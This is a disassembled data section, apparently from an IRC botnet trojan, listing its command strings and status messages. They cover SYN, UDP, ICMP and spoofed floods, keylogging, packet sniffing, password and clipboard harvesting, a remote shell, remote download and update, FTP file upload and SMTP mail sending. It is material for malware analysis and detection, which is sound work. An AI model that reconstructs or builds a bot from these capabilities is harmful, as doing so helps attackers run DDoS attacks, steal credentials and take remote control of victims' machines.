unk_431504	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431550	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_4315BC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_4315C8	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431610	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D6o
		align 4
unk_431694	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_4316D8	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_431724	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43176C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_4317DC	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431824	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_43187C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_4318C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43190C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_431960	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_431998	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4319D4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_431A4C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_431AA4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_431DF0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_431E1C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_431E4C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_431E78	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_431EB0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_431EE0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_431F3C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_431F6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
		align 4
dword_431FA8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 10h
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_431FF8	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_432044	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_432074	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4320A4	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 10h
unk_4320E0	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_432140	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_432178	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_4321C4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_432210	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_432250	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_432520	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_43264C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
